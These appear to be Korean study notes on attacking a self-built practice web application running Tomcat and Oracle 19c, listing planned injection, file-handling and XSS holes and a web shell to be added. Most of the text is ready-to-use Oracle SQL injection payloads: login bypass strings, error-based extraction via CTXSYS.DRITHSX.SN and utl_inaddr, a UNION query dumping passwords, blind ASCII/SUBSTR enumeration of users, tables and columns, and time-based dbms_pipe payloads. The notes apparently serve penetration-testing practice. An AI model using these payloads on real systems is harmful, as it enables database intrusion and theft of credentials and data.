쿼리 분석 고도화
Apache Tomcat/8.5.87
Oracle Database 19c Standard Edition 2 Release 19.0.0.0.0 - Production
1. 로그인 창 sql 인젝션
2. 게시판 검색 인젝션
3. 파일 다운로드 취약점
4. 파일 업로드 취약점 - 기능완성 웹쉘 넣어볼 예정
5. 게시판 xss 취약점
6.
oracle injection기술
||로 문자열 합치기
ctxsys.drithsx.sn 이용하여 에러 페이지 출력
sql
1. 게시판 검색에서 제목에서 입력 (기본 : %'-- 혹은 -- )
%25\' or 1=1--
1\' or 1=1--
%25%27 AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(TABLE_NAME) FROM ALL_TABLES)) = 1 --
위에 쿼리는 url로 받아오는 로직에서 url에서
%는 urlencoding에 걸리고 ' 는 jsp에서 처리할 때 뒤에 ' 와 합쳐져서 오류남
2. 게시판 검색에서 날짜에서 입력(기본 : ') -- )
\'\) OR 1=1--
3. 로그인에서 입력(기본 : ' -- )
GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and ...
github.com
https://velog.io/@yu-jin-song/DB-SQL-%EC%9D%B8%EC%A0%9D%EC%85%98SQL-Injection
[DB] SQL 인젝션(SQL Injection)
1. 개요 > 응용 프로그램 보안 상의 허점을 의도적으로 이용해, 악의적인 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 코드 인젝션 공격 방법 2. 종류 2.1 Error based SQL Injection
velog.io
https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
SQL Injection Cheat Sheet | Invicti
The SQL Injection Cheat Sheet is the definitive resource for all the technical details about the different variants of the well-known SQLi vulnerability.
www.invicti.com
Oracle 기본
select user from dba_tables; --유저명
select * from dba_tables where owner='위에서 찾은 유저';
테이블 목록 조회 (접속한 계정)
SELECT * FROM tabs
SELECT * FROM USER_OBJECTS WHERE OBJECT_TYPE = 'TABLE'
SELECT * FROM USER_TABLES
컬럼 조회
SELECT * FROM COLS WHERE TABLE_NAME = '테이블명'
SELECT * FROM ALL_TAB_COLUMNS WHERE TABLE_NAME = '테이블명'
SELECT * FROM USER_TAB_COLUMNS
Error based SQL Injection
(select utl_inaddr.get_host_name((select user from dual)) from dual)
(select utl_inaddr.get_host_name((SELECT WM_CONCAT(name) FROM sys.user$)) from dual)
(select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual)
%25%27 AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(TABLE_NAME) FROM ALL_TABLES)) = 1 --
Union based SQL Injection
https://portswigger.net/web-security/sql-injection/union-attacks
SQL injection UNION attacks | Web Security Academy
When an application is vulnerable to SQL injection and the results of the query are returned within the application's responses, the UNION keyword can be ...
portswigger.net
1%27%20UNION%20SELECT%20id%20%7C%7C%20%27~%27%20%7C%7C%20password%20FROM%20CUSTOMER--
https://ragonfly.tistory.com/entry/sql-injection-%EC%B0%B8%EA%B3%A0%EC%9E%90%EB%A3%8C
sql injection 참고자료
> %3E create user jclee identified by jclee default tablespace users temporary tablespace temp; 명령문이 처리되었습니다 SVRMGR> grant connect, resource to jclee; 명령문이 처리되었습니다 SVRMGR> grant sysdba, sysoper to jclee; 명령
ragonfly.tistory.com
join문을 이용한 공격
'union select top 1 syscolumns.name from sysobjects INNER JOIN syscolumns ON sysobjects.id=syscolumns.id where sysobjects.name='테이블 명'--
Blind based SQL Injection
결과값의 참, 거짓을 이용하여 공격하는 방식
SUBSTR함수
ASCII함수
보안대책
위의 함수를 필터링
부등호(<, >) 필터링
SELECT USER, ROWNUM AS RNUM FROM DBA_TABLES; -> RNUM으로 번호 체킹
1' AND ASCII(SUBSTR((SELECT USER FROM (SELECT USER, ROWNUM AS RNUM FROM DBA_TABLES) WHERE RNUM = 1),1,1)) > 73 --
query = select * from customer where id = 'Id' and password = 'Password ';
select * from customer where id = 'Id' and password = ' 1' and ascii(substr(select user from)) '
게시판 정렬기능
order by (select id from customer where 1=1) 로 했을 때,
SQL Error [1427] [21000]: ORA-01427: 단일 행 하위 질의에 2개 이상의 행이 리턴되었습니다. 로 에러가 남
order by (select id from customer where 1=2)로 하면 정상 출력
--> order by 뒤에 서브쿼리에서 출력값이 한개 이상이라면 에러 한개 이하라면 정상을 통해 블라인드 인젝션 가능
select * from board where BOARDAVAILABLE = 1 order by (SELECT 1 FROM CUSTOMER WHERE SUBSTR((SELECT PassWord FROM CUSTOMER WHERE id = 'dogyun'),1,1)='2');
1. db user정보 얻기
userid=1&userpass=1' OR ASCII(SUBSTR((SELECT USER FROM (SELECT USER, ROWNUM AS RNUM FROM DBA_TABLES) WHERE RNUM = 1),1,1)) > 67 --
2. user table 정보얻기
user_tables는 현재 접속한 사용자가 액세스 권한이 있는 테이블만 조회가 가능합니다.
때문에 user_tables시 실 데이터가 아닌 테이블도 나올 가능성 있음???
user_tables이용
userid=1&userpass=1' OR ASCII(SUBSTR((SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS RNUM FROM USER_TABLES) WHERE RNUM = 1),1,1)) > 67 --
dba_tables이용
userid=1&userpass=1' OR ASCII(SUBSTR((SELECT TABLE_NAME ,ROWNUM AS RNUM FROM (SELECT OWNER, TABLE_NAME, ROWNUM AS RNUM FROM dba_tables WHERE OWNER = 'DOGYUN') WHERE RNUM = 1),1,1)) > 67 --
3. column 정보얻기
userid=1&userpass=1' OR ASCII(SUBSTR((SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS RNUM FROM user_tab_columns WHERE TABLE_NAME = 'CUSTOMER') WHERE RNUM = 1),1,1)) > 67 --
Stored Procedure based SQL Injection
Time based SQL Injection - error기반 안될때
SELECT CASE WHEN (NVL(ASCII(SUBSTR(('a'),1,1)),0) = 97) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual;
맞으면 10초 틀리면 1초
' OR 1 = (SELECT CASE WHEN (NVL(ASCII(SUBSTR(('a'),1,1)),0) = 98) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual);--
' OR 1 = (SELECT CASE WHEN (NVL(ASCII(SUBSTR(('a'),1,1)),0) = 97) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)--
' OR 1 = (SELECT CASE WHEN (1=1) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)--